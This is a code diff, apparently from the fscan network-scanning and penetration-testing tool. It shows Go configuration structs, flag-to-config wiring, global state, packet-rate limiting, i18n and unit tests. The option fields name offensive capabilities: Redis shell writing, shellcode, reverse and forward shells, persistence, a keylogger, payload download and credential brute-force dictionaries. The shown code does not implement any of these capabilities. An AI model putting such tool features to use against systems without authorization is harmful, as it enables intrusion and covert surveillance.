||||||
|
|
||||||
|
// POC测试
|
||||||
|
PocPath string
|
||||||
|
PocName string
|
||||||
|
PocFull bool
|
||||||
|
DNSLog bool
|
||||||
|
PocNum int
|
||||||
|
PocNumExplicit bool
|
||||||
|
DisablePocScan bool
|
||||||
|
|
||||||
|
// Redis利用
|
||||||
|
RedisFile string
|
||||||
|
RedisShell string
|
||||||
|
RedisWritePath string
|
||||||
|
RedisWriteContent string
|
||||||
|
RedisWriteFile string
|
||||||
|
DisableRedis bool
|
||||||
|
|
||||||
|
// 发包频率
|
||||||
|
PacketRateLimit int64
|
||||||
|
MaxPacketCount int64
|
||||||
|
ICMPRate float64
|
||||||
|
ICMPRateExplicit bool
|
||||||
|
|
||||||
|
// 输出控制
|
||||||
|
Outputfile string
|
||||||
|
OutputFormat string
|
||||||
|
DisableSave bool
|
||||||
|
Silent bool
|
||||||
|
NoColor bool
|
||||||
|
LogLevel string
|
||||||
|
Debug bool
|
||||||
|
DisableProgress bool
|
||||||
|
PerfStats bool
|
||||||
|
Language string
|
||||||
|
|
||||||
|
// 高级功能
|
||||||
|
Shellcode string
|
||||||
|
ReverseShellTarget string
|
||||||
|
Socks5ProxyPort int
|
||||||
|
ForwardShellPort int
|
||||||
|
PersistenceTargetFile string
|
||||||
|
WinPEFile string
|
||||||
|
KeyloggerOutputFile string
|
||||||
|
DownloadURL string
|
||||||
|
DownloadSavePath string
|
||||||
|
|
||||||
|
// 帮助
|
||||||
|
ShowHelp bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 全局 FlagVars 实例(仅在解析阶段使用)
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
var flagVars = &FlagVars{}
|
||||||
|
|
||||||
|
// GetFlagVars 获取解析后的命令行参数(供 parse.go 等使用)
|
||||||
|
func GetFlagVars() *FlagVars {
|
||||||
|
return flagVars
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// BuildConfigFromFlags - 从 FlagVars 构建 Config
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// BuildConfigFromFlags 从命令行参数构建配置对象
|
||||||
|
func BuildConfigFromFlags(fv *FlagVars) *Config {
|
||||||
|
return &Config{
|
||||||
|
// 高频字段
|
||||||
|
Timeout: time.Duration(fv.TimeoutSec) * time.Second,
|
||||||
|
TimeoutExplicit: fv.TimeoutExplicit,
|
||||||
|
ThreadNum: fv.ThreadNum,
|
||||||
|
ThreadNumExplicit: fv.ThreadNumExplicit,
|
||||||
|
ModuleThreadNum: fv.ModuleThreadNum,
|
||||||
|
ModuleThreadNumExplicit: fv.ModuleThreadNumExplicit,
|
||||||
|
DisableBrute: fv.DisableBrute,
|
||||||
|
DisablePing: fv.DisablePing,
|
||||||
|
DisableTcpProbe: fv.DisableTcpProbe,
|
||||||
|
DisableSubnetProbe: fv.DisableSubnetProbe,
|
||||||
|
|
||||||
|
// 扫描模式
|
||||||
|
Mode: fv.ScanMode,
|
||||||
|
LocalMode: fv.LocalPlugin != "",
|
||||||
|
LocalPlugin: fv.LocalPlugin,
|
||||||
|
AliveOnly: fv.AliveOnly,
|
||||||
|
MaxRetries: fv.MaxRetries,
|
||||||
|
MaxRetriesExplicit: fv.MaxRetriesExplicit,
|
||||||
|
|
||||||
|
// 高级功能
|
||||||
|
Shellcode: fv.Shellcode,
|
||||||
|
LocalPluginsList: nil, // 后续解析
|
||||||
|
DNSLog: fv.DNSLog,
|
||||||
|
PersistenceTargetFile: fv.PersistenceTargetFile,
|
||||||
|
WinPEFile: fv.WinPEFile,
|
||||||
|
PortMap: clonePortMap(config.DefaultPortMap),
|
||||||
|
DefaultMap: cloneStringSlice(config.DefaultProbeMap),
|
||||||
|
|
||||||
|
// 全局超时
|
||||||
|
GlobalTimeout: time.Duration(fv.GlobalTimeout) * time.Second,
|
||||||
|
GlobalTimeoutExplicit: fv.GlobalTimeoutExplicit,
|
||||||
|
|
||||||
|
// SOCKS5代理端口
|
||||||
|
Socks5ProxyPort: fv.Socks5ProxyPort,
|
||||||
|
|
||||||
|
// 分组配置
|
||||||
|
Credentials: CredentialConfig{
|
||||||
|
Username: fv.Username,
|
||||||
|
Password: fv.Password,
|
||||||
|
Domain: fv.Domain,
|
||||||
|
Userdict: cloneStringSliceMap(config.DefaultUserDict),
|
||||||
|
Passwords: cloneStringSlice(config.DefaultPasswords),
|
||||||
|
UserPassPairs: nil, // 后续解析
|
||||||
|
SSHKeyPath: fv.SSHKeyPath,
|
||||||
|
},
|
||||||
|
Network: NetworkConfig{
|
||||||
|
HTTPProxy: fv.HTTPProxy,
|
||||||
|
Socks5Proxy: fv.Socks5Proxy,
|
||||||
|
Iface: fv.Iface,
|
||||||
|
WebTimeout: time.Duration(fv.WebTimeout) * time.Second,
|
||||||
|
MaxRedirects: fv.MaxRedirects,
|
||||||
|
PacketRateLimit: fv.PacketRateLimit,
|
||||||
|
MaxPacketCount: fv.MaxPacketCount,
|
||||||
|
ICMPRate: fv.ICMPRate,
|
||||||
|
ICMPRateExplicit: fv.ICMPRateExplicit,
|
||||||
|
},
|
||||||
|
Output: OutputConfig{
|
||||||
|
File: fv.Outputfile,
|
||||||
|
Format: fv.OutputFormat,
|
||||||
|
DisableSave: fv.DisableSave,
|
||||||
|
NoColor: fv.NoColor || !isStdoutTerminal(),
|
||||||
|
Silent: fv.Silent,
|
||||||
|
DisableProgress: fv.DisableProgress,
|
||||||
|
ShowProgress: !fv.DisableProgress,
|
||||||
|
LogLevel: fv.LogLevel,
|
||||||
|
Language: fv.Language,
|
||||||
|
PerfStats: fv.PerfStats,
|
||||||
|
},
|
||||||
|
POC: POCConfig{
|
||||||
|
PocPath: fv.PocPath,
|
||||||
|
PocName: fv.PocName,
|
||||||
|
Full: fv.PocFull,
|
||||||
|
Num: fv.PocNum,
|
||||||
|
NumExplicit: fv.PocNumExplicit,
|
||||||
|
Disabled: fv.DisablePocScan,
|
||||||
|
},
|
||||||
|
Redis: RedisConfig{
|
||||||
|
Disabled: fv.DisableRedis,
|
||||||
|
File: fv.RedisFile,
|
||||||
|
Shell: fv.RedisShell,
|
||||||
|
WritePath: fv.RedisWritePath,
|
||||||
|
WriteContent: fv.RedisWriteContent,
|
||||||
|
WriteFile: fv.RedisWriteFile,
|
||||||
|
},
|
||||||
|
HTTP: HTTPConfig{
|
||||||
|
Cookie: fv.Cookie,
|
||||||
|
UserAgent: defaultUserAgent(fv.UserAgent),
|
||||||
|
Accept: fv.Accept,
|
||||||
|
},
|
||||||
|
LocalExploit: LocalExploitConfig{
|
||||||
|
ReverseShellTarget: fv.ReverseShellTarget,
|
||||||
|
ForwardShellPort: fv.ForwardShellPort,
|
||||||
|
KeyloggerOutputFile: fv.KeyloggerOutputFile,
|
||||||
|
DownloadURL: fv.DownloadURL,
|
||||||
|
DownloadSavePath: fv.DownloadSavePath,
|
||||||
|
},
|
||||||
|
Target: TargetConfig{
|
||||||
|
Ports: fv.Ports,
|
||||||
|
ExcludePorts: fv.ExcludePorts,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func isStdoutTerminal() bool {
|
||||||
|
return term.IsTerminal(int(os.Stdout.Fd()))
|
||||||
|
}
|
||||||
|
|
||||||
|
// defaultUserAgent 用户未通过 -ua 指定时回退到默认 UA,避免发送空 User-Agent 被 WAF 识别
|
||||||
|
func defaultUserAgent(ua string) string {
|
||||||
|
if ua != "" {
|
||||||
|
return ua
|
||||||
|
}
|
||||||
|
return "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
|
||||||
|
}
|
||||||
+1166
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,9 @@
|
|||||||
|
//go:build web
|
||||||
|
|
||||||
|
package common
|
||||||
|
|
||||||
|
// WebMode Web版本始终为true
|
||||||
|
const WebMode = true
|
||||||
|
|
||||||
|
// WebPort 不再使用,端口由 main_web.go 的 -port 参数控制
|
||||||
|
var WebPort = 0
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
//go:build !web
|
||||||
|
|
||||||
|
package common
|
||||||
|
|
||||||
|
// WebMode 非Web版本永远为false
|
||||||
|
var WebMode = false
|
||||||
|
|
||||||
|
// WebPort 非Web版本不使用
|
||||||
|
var WebPort = 0
|
||||||
@@ -0,0 +1,232 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"net"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
|
)
|
||||||
|
|
||||||
|
/*
|
||||||
|
globals.go - 全局配置变量
|
||||||
|
|
||||||
|
运行时数据和必要的全局状态。
|
||||||
|
命令行参数现通过 GetFlagVars() 访问,配置通过 GetGlobalConfig() 访问。
|
||||||
|
*/
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 核心数据结构
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// HostInfo 主机信息结构 - 最核心的数据结构
|
||||||
|
type HostInfo struct {
|
||||||
|
Host string // 主机地址
|
||||||
|
Port int // 端口号(单个端口)
|
||||||
|
URL string // URL地址
|
||||||
|
Info []string // 附加信息
|
||||||
|
}
|
||||||
|
|
||||||
|
// Target 返回 host:port 格式字符串
|
||||||
|
func (h *HostInfo) Target() string {
|
||||||
|
host := h.Host
|
||||||
|
if strings.HasPrefix(host, "[") && strings.HasSuffix(host, "]") {
|
||||||
|
host = strings.TrimPrefix(strings.TrimSuffix(host, "]"), "[")
|
||||||
|
}
|
||||||
|
return net.JoinHostPort(host, strconv.Itoa(h.Port))
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 默认配置常量
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
const (
|
||||||
|
// DefaultThreadNum 默认线程数
|
||||||
|
DefaultThreadNum = 600
|
||||||
|
// DefaultTimeout 默认超时时间(秒)
|
||||||
|
DefaultTimeout = 3
|
||||||
|
// DefaultScanMode 默认扫描模式
|
||||||
|
DefaultScanMode = "all"
|
||||||
|
// DefaultLanguage 默认语言
|
||||||
|
DefaultLanguage = "zh"
|
||||||
|
// DefaultLogLevel 默认日志级别
|
||||||
|
DefaultLogLevel = "base"
|
||||||
|
)
|
||||||
|
|
||||||
|
// 日志级别常量
|
||||||
|
const (
|
||||||
|
LogLevelAll = "all"
|
||||||
|
LogLevelError = "error"
|
||||||
|
LogLevelBase = "base"
|
||||||
|
LogLevelInfo = "info"
|
||||||
|
LogLevelSuccess = "success"
|
||||||
|
LogLevelDebug = "debug"
|
||||||
|
LogLevelInfoSuccess = "info,success"
|
||||||
|
LogLevelBaseInfoSuccess = "base,info,success"
|
||||||
|
)
|
||||||
|
|
||||||
|
// 版本信息,通过 ldflags 注入
|
||||||
|
var (
|
||||||
|
version = "2.2.1"
|
||||||
|
commit = "unknown"
|
||||||
|
date = "unknown"
|
||||||
|
)
|
||||||
|
|
||||||
|
func GetVersion() string { return version }
|
||||||
|
|
||||||
|
// 运行时数据已迁移到Config对象中,使用GetGlobalConfig()访问
|
||||||
|
|
||||||
|
// Shell状态已迁移到State对象中,使用GetGlobalState()访问
|
||||||
|
|
||||||
|
// POC配置、输出控制、发包控制、初始化已迁移到Config/State对象中
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 发包限制错误类型
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// 哨兵错误 - 用于 errors.Is 判断
|
||||||
|
var (
|
||||||
|
ErrMaxPacketReached = errors.New("max packet count reached")
|
||||||
|
ErrPacketRateLimited = errors.New("packet rate limited")
|
||||||
|
)
|
||||||
|
|
||||||
|
// PacketLimitError 发包限制错误(包含详情)
|
||||||
|
type PacketLimitError struct {
|
||||||
|
Sentinel error // ErrMaxPacketReached 或 ErrPacketRateLimited
|
||||||
|
Limit int64
|
||||||
|
Current int64
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e *PacketLimitError) Error() string {
|
||||||
|
if e.Sentinel == ErrMaxPacketReached {
|
||||||
|
return i18n.Tr("packet_limit_max_reached", e.Limit)
|
||||||
|
}
|
||||||
|
return i18n.Tr("packet_limit_rate_limited", e.Limit)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (e *PacketLimitError) Unwrap() error {
|
||||||
|
return e.Sentinel
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 发包频率控制功能
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// CanSendPacketWith 检查是否可以发包 - 同时检查频率限制和总数限制
|
||||||
|
// 返回值: (可以发包, 错误)
|
||||||
|
func CanSendPacketWith(config *Config, state *State) (bool, error) {
|
||||||
|
// 检查总数限制
|
||||||
|
maxPacketCount := config.Network.MaxPacketCount
|
||||||
|
if maxPacketCount > 0 {
|
||||||
|
currentTotal := state.GetPacketCount()
|
||||||
|
if currentTotal >= maxPacketCount {
|
||||||
|
return false, &PacketLimitError{
|
||||||
|
Sentinel: ErrMaxPacketReached,
|
||||||
|
Limit: maxPacketCount,
|
||||||
|
Current: currentTotal,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查频率限制
|
||||||
|
return state.CheckAndIncrementPacketRate(config.Network.PacketRateLimit)
|
||||||
|
}
|
||||||
|
|
||||||
|
// CanSendPacket 便捷API - 使用全局配置和状态
|
||||||
|
// 内部调用 CanSendPacketWith,保持向后兼容(返回string)
|
||||||
|
func CanSendPacket() (bool, string) {
|
||||||
|
ok, err := CanSendPacketWith(GetGlobalConfig(), GetGlobalState())
|
||||||
|
if err != nil {
|
||||||
|
return ok, err.Error()
|
||||||
|
}
|
||||||
|
return ok, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 全局 Config 和 State 实例(新架构)
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
var (
|
||||||
|
// globalConfig 全局配置实例(小写,不直接暴露)
|
||||||
|
globalConfig *Config
|
||||||
|
|
||||||
|
// globalState 全局状态实例(小写,不直接暴露)
|
||||||
|
globalState *State
|
||||||
|
|
||||||
|
// globalMu 保护全局变量的读写锁
|
||||||
|
globalMu sync.RWMutex
|
||||||
|
)
|
||||||
|
|
||||||
|
// GetGlobalConfig 获取全局配置实例(线程安全)
|
||||||
|
// 使用读写锁保护,避免竞态条件
|
||||||
|
func GetGlobalConfig() *Config {
|
||||||
|
globalMu.RLock()
|
||||||
|
cfg := globalConfig
|
||||||
|
globalMu.RUnlock()
|
||||||
|
|
||||||
|
if cfg != nil {
|
||||||
|
return cfg
|
||||||
|
}
|
||||||
|
|
||||||
|
// 需要初始化,获取写锁
|
||||||
|
globalMu.Lock()
|
||||||
|
defer globalMu.Unlock()
|
||||||
|
|
||||||
|
// 双重检查,避免重复初始化
|
||||||
|
if globalConfig == nil {
|
||||||
|
globalConfig = NewConfig()
|
||||||
|
}
|
||||||
|
return globalConfig
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetGlobalConfig 设置全局配置实例(线程安全)
|
||||||
|
func SetGlobalConfig(cfg *Config) {
|
||||||
|
globalMu.Lock()
|
||||||
|
globalConfig = cfg
|
||||||
|
globalMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetGlobalState 获取全局状态实例(线程安全)
|
||||||
|
// 使用读写锁保护,避免竞态条件
|
||||||
|
func GetGlobalState() *State {
|
||||||
|
globalMu.RLock()
|
||||||
|
st := globalState
|
||||||
|
globalMu.RUnlock()
|
||||||
|
|
||||||
|
if st != nil {
|
||||||
|
return st
|
||||||
|
}
|
||||||
|
|
||||||
|
// 需要初始化,获取写锁
|
||||||
|
globalMu.Lock()
|
||||||
|
defer globalMu.Unlock()
|
||||||
|
|
||||||
|
// 双重检查,避免重复初始化
|
||||||
|
if globalState == nil {
|
||||||
|
globalState = NewState()
|
||||||
|
}
|
||||||
|
return globalState
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetGlobalState 设置全局状态实例(线程安全)
|
||||||
|
func SetGlobalState(state *State) {
|
||||||
|
globalMu.Lock()
|
||||||
|
globalState = state
|
||||||
|
globalMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 字符串工具函数
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// ContainsAny 检查字符串是否包含任意一个子串
|
||||||
|
func ContainsAny(s string, substrs ...string) bool {
|
||||||
|
for _, substr := range substrs {
|
||||||
|
if strings.Contains(s, substr) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
@@ -0,0 +1,67 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestHostInfoTargetUsesBracketedIPv6(t *testing.T) {
|
||||||
|
info := &HostInfo{Host: "2001:db8::1", Port: 443}
|
||||||
|
if got, want := info.Target(), "[2001:db8::1]:443"; got != want {
|
||||||
|
t.Fatalf("Target() = %q, want %q", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHostInfoTargetDoesNotDoubleBracketIPv6(t *testing.T) {
|
||||||
|
info := &HostInfo{Host: "[2001:db8::1]", Port: 443}
|
||||||
|
if got, want := info.Target(), "[2001:db8::1]:443"; got != want {
|
||||||
|
t.Fatalf("Target() = %q, want %q", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestGlobalHelpersAndPacketLimitErrors(t *testing.T) {
|
||||||
|
if GetVersion() == "" {
|
||||||
|
t.Fatal("GetVersion returned empty string")
|
||||||
|
}
|
||||||
|
if !ContainsAny("hello fscan", "none", "scan") {
|
||||||
|
t.Fatal("ContainsAny should find a matching substring")
|
||||||
|
}
|
||||||
|
if ContainsAny("hello fscan", "none", "missing") {
|
||||||
|
t.Fatal("ContainsAny should return false when nothing matches")
|
||||||
|
}
|
||||||
|
|
||||||
|
maxErr := &PacketLimitError{Sentinel: ErrMaxPacketReached, Limit: 5, Current: 5}
|
||||||
|
if !errors.Is(maxErr, ErrMaxPacketReached) || !strings.Contains(maxErr.Error(), "5") {
|
||||||
|
t.Fatalf("max packet error = %v", maxErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
rateErr := &PacketLimitError{Sentinel: ErrPacketRateLimited, Limit: 3, Current: 2}
|
||||||
|
if !errors.Is(rateErr, ErrPacketRateLimited) || !strings.Contains(rateErr.Error(), "3") {
|
||||||
|
t.Fatalf("rate limit error = %v", rateErr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCanSendPacketUsesGlobalConfigAndState(t *testing.T) {
|
||||||
|
previousConfig := GetGlobalConfig()
|
||||||
|
previousState := GetGlobalState()
|
||||||
|
t.Cleanup(func() {
|
||||||
|
SetGlobalConfig(previousConfig)
|
||||||
|
SetGlobalState(previousState)
|
||||||
|
})
|
||||||
|
|
||||||
|
cfg := NewConfig()
|
||||||
|
cfg.Network.MaxPacketCount = 1
|
||||||
|
state := NewState()
|
||||||
|
state.IncrementPacketCount()
|
||||||
|
SetGlobalConfig(cfg)
|
||||||
|
SetGlobalState(state)
|
||||||
|
|
||||||
|
ok, reason := CanSendPacket()
|
||||||
|
if ok {
|
||||||
|
t.Fatal("CanSendPacket should reject when max packet count is reached")
|
||||||
|
}
|
||||||
|
if reason == "" {
|
||||||
|
t.Fatal("CanSendPacket should return a rejection reason")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
package i18n
|
||||||
|
|
||||||
|
import "embed"
|
||||||
|
|
||||||
|
//go:embed locales/*.yaml
|
||||||
|
var localeFS embed.FS
|
||||||
@@ -0,0 +1,97 @@
|
|||||||
|
package i18n
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strconv"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"github.com/nicksnyder/go-i18n/v2/i18n"
|
||||||
|
"golang.org/x/text/language"
|
||||||
|
"gopkg.in/yaml.v3"
|
||||||
|
)
|
||||||
|
|
||||||
|
// 支持的语言常量
|
||||||
|
const (
|
||||||
|
LangZH = "zh"
|
||||||
|
LangEN = "en"
|
||||||
|
)
|
||||||
|
|
||||||
|
// 默认配置
|
||||||
|
const (
|
||||||
|
DefaultLanguage = LangZH
|
||||||
|
FallbackLanguage = LangEN
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
bundle *i18n.Bundle
|
||||||
|
localizer *i18n.Localizer
|
||||||
|
lang = DefaultLanguage
|
||||||
|
mu sync.RWMutex
|
||||||
|
)
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
bundle = i18n.NewBundle(language.Chinese)
|
||||||
|
bundle.RegisterUnmarshalFunc("yaml", yaml.Unmarshal)
|
||||||
|
|
||||||
|
// 从embed加载翻译文件
|
||||||
|
if _, err := bundle.LoadMessageFileFS(localeFS, "locales/zh.yaml"); err != nil {
|
||||||
|
panic(fmt.Sprintf("failed to load zh.yaml: %v", err))
|
||||||
|
}
|
||||||
|
if _, err := bundle.LoadMessageFileFS(localeFS, "locales/en.yaml"); err != nil {
|
||||||
|
panic(fmt.Sprintf("failed to load en.yaml: %v", err))
|
||||||
|
}
|
||||||
|
|
||||||
|
localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage)
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetLanguage 设置当前语言
|
||||||
|
func SetLanguage(l string) {
|
||||||
|
mu.Lock()
|
||||||
|
defer mu.Unlock()
|
||||||
|
lang = l
|
||||||
|
localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage)
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetLanguage returns the currently configured language.
|
||||||
|
func GetLanguage() string {
|
||||||
|
mu.RLock()
|
||||||
|
defer mu.RUnlock()
|
||||||
|
return lang
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetText 获取国际化文本(无参数)
|
||||||
|
func GetText(key string) string {
|
||||||
|
mu.RLock()
|
||||||
|
loc := localizer
|
||||||
|
mu.RUnlock()
|
||||||
|
|
||||||
|
msg, err := loc.Localize(&i18n.LocalizeConfig{
|
||||||
|
MessageID: key,
|
||||||
|
})
|
||||||
|
if err != nil || msg == "" {
|
||||||
|
return key
|
||||||
|
}
|
||||||
|
return msg
|
||||||
|
}
|
||||||
|
|
||||||
|
// Tr 获取国际化文本并格式化(变参版本)
|
||||||
|
// 参数按顺序映射为 {{.Arg1}}, {{.Arg2}}, ...
|
||||||
|
func Tr(key string, args ...interface{}) string {
|
||||||
|
mu.RLock()
|
||||||
|
loc := localizer
|
||||||
|
mu.RUnlock()
|
||||||
|
|
||||||
|
data := make(map[string]interface{}, len(args))
|
||||||
|
for i, arg := range args {
|
||||||
|
data["Arg"+strconv.Itoa(i+1)] = arg
|
||||||
|
}
|
||||||
|
|
||||||
|
msg, err := loc.Localize(&i18n.LocalizeConfig{
|
||||||
|
MessageID: key,
|
||||||
|
TemplateData: data,
|
||||||
|
})
|
||||||
|
if err != nil || msg == "" {
|
||||||
|
return key
|
||||||
|
}
|
||||||
|
return msg
|
||||||
|
}
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
package i18n
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestLanguageLifecycleAndFallbacks(t *testing.T) {
|
||||||
|
original := GetLanguage()
|
||||||
|
t.Cleanup(func() { SetLanguage(original) })
|
||||||
|
|
||||||
|
SetLanguage(LangEN)
|
||||||
|
if got := GetLanguage(); got != LangEN {
|
||||||
|
t.Fatalf("language = %q, want %q", got, LangEN)
|
||||||
|
}
|
||||||
|
if got := GetText("concurrency_plugin"); got == "" || got == "concurrency_plugin" {
|
||||||
|
t.Fatalf("english text = %q, want translated text", got)
|
||||||
|
}
|
||||||
|
if got := Tr("debug_cpu_profile_started", "/tmp/profiles"); !strings.Contains(got, "/tmp/profiles") {
|
||||||
|
t.Fatalf("formatted english text = %q, want path included", got)
|
||||||
|
}
|
||||||
|
|
||||||
|
SetLanguage(LangZH)
|
||||||
|
if got := GetLanguage(); got != LangZH {
|
||||||
|
t.Fatalf("language = %q, want %q", got, LangZH)
|
||||||
|
}
|
||||||
|
if got := GetText("concurrency_plugin"); got == "" || got == "concurrency_plugin" {
|
||||||
|
t.Fatalf("chinese text = %q, want translated text", got)
|
||||||
|
}
|
||||||
|
|
||||||
|
if got := GetText("missing_translation_key"); got != "missing_translation_key" {
|
||||||
|
t.Fatalf("missing GetText = %q, want key", got)
|
||||||
|
}
|
||||||
|
if got := Tr("missing_translation_key", "ignored"); got != "missing_translation_key" {
|
||||||
|
t.Fatalf("missing Tr = %q, want key", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,94 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
|
)
|
||||||
|
|
||||||
|
/*
|
||||||
|
initialize.go - 统一初始化入口
|
||||||
|
|
||||||
|
简化后的流程:
|
||||||
|
命令行 → FlagVars → BuildConfig() → Config + State
|
||||||
|
*/
|
||||||
|
|
||||||
|
// InitResult 初始化结果
|
||||||
|
type InitResult struct {
|
||||||
|
Config *Config
|
||||||
|
State *State
|
||||||
|
Info *HostInfo
|
||||||
|
Session *ScanSession
|
||||||
|
}
|
||||||
|
|
||||||
|
// Initialize 统一初始化函数
|
||||||
|
// 封装 BuildConfig → InitOutput 流程
|
||||||
|
func Initialize(info *HostInfo) (*InitResult, error) {
|
||||||
|
// 1. 初始化日志系统
|
||||||
|
InitLogger()
|
||||||
|
|
||||||
|
// 2. 从 FlagVars 构建 Config 和 State
|
||||||
|
cfg, state, err := BuildConfig(GetFlagVars(), info)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("%s: %w", i18n.GetText("config_build_failed"), err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. 设置全局实例
|
||||||
|
SetGlobalConfig(cfg)
|
||||||
|
SetGlobalState(state)
|
||||||
|
|
||||||
|
// 4. 初始化输出系统
|
||||||
|
if err := InitOutput(); err != nil {
|
||||||
|
return nil, fmt.Errorf("%s: %w", i18n.GetText("output_init_failed"), err)
|
||||||
|
}
|
||||||
|
|
||||||
|
session := NewScanSession(cfg, state, GetFlagVars())
|
||||||
|
|
||||||
|
return &InitResult{
|
||||||
|
Config: cfg,
|
||||||
|
State: state,
|
||||||
|
Info: info,
|
||||||
|
Session: session,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ValidateExclusiveParams 验证互斥参数
|
||||||
|
// 检查 -h、-u、-local 只能指定一个
|
||||||
|
func ValidateExclusiveParams(info *HostInfo) error {
|
||||||
|
paramCount := 0
|
||||||
|
var activeParam string
|
||||||
|
|
||||||
|
fv := GetFlagVars()
|
||||||
|
|
||||||
|
if info.Host != "" {
|
||||||
|
paramCount++
|
||||||
|
activeParam = "-h"
|
||||||
|
}
|
||||||
|
if fv.TargetURL != "" {
|
||||||
|
paramCount++
|
||||||
|
if activeParam != "" {
|
||||||
|
activeParam = i18n.Tr("param_join_and", activeParam, "-u")
|
||||||
|
} else {
|
||||||
|
activeParam = "-u"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if fv.LocalPlugin != "" {
|
||||||
|
paramCount++
|
||||||
|
if activeParam != "" {
|
||||||
|
activeParam = i18n.Tr("param_join_and", activeParam, "-local")
|
||||||
|
} else {
|
||||||
|
activeParam = "-local"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if paramCount > 1 {
|
||||||
|
return fmt.Errorf("%s", i18n.Tr("param_exclusive", activeParam))
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cleanup 清理资源
|
||||||
|
func Cleanup() error {
|
||||||
|
return CloseOutput()
|
||||||
|
}
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestValidateExclusiveParams(t *testing.T) {
|
||||||
|
previous := GetFlagVars()
|
||||||
|
t.Cleanup(func() { flagVars = previous })
|
||||||
|
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
info *HostInfo
|
||||||
|
flags *FlagVars
|
||||||
|
wantErr string
|
||||||
|
}{
|
||||||
|
{name: "host only", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{}},
|
||||||
|
{name: "url only", info: &HostInfo{}, flags: &FlagVars{TargetURL: "http://example.com"}},
|
||||||
|
{name: "local only", info: &HostInfo{}, flags: &FlagVars{LocalPlugin: "sshkey"}},
|
||||||
|
{name: "host and url conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com"}, wantErr: "-h"},
|
||||||
|
{name: "host url local conflict", info: &HostInfo{Host: "127.0.0.1"}, flags: &FlagVars{TargetURL: "http://example.com", LocalPlugin: "sshkey"}, wantErr: "-local"},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
flagVars = tt.flags
|
||||||
|
err := ValidateExclusiveParams(tt.info)
|
||||||
|
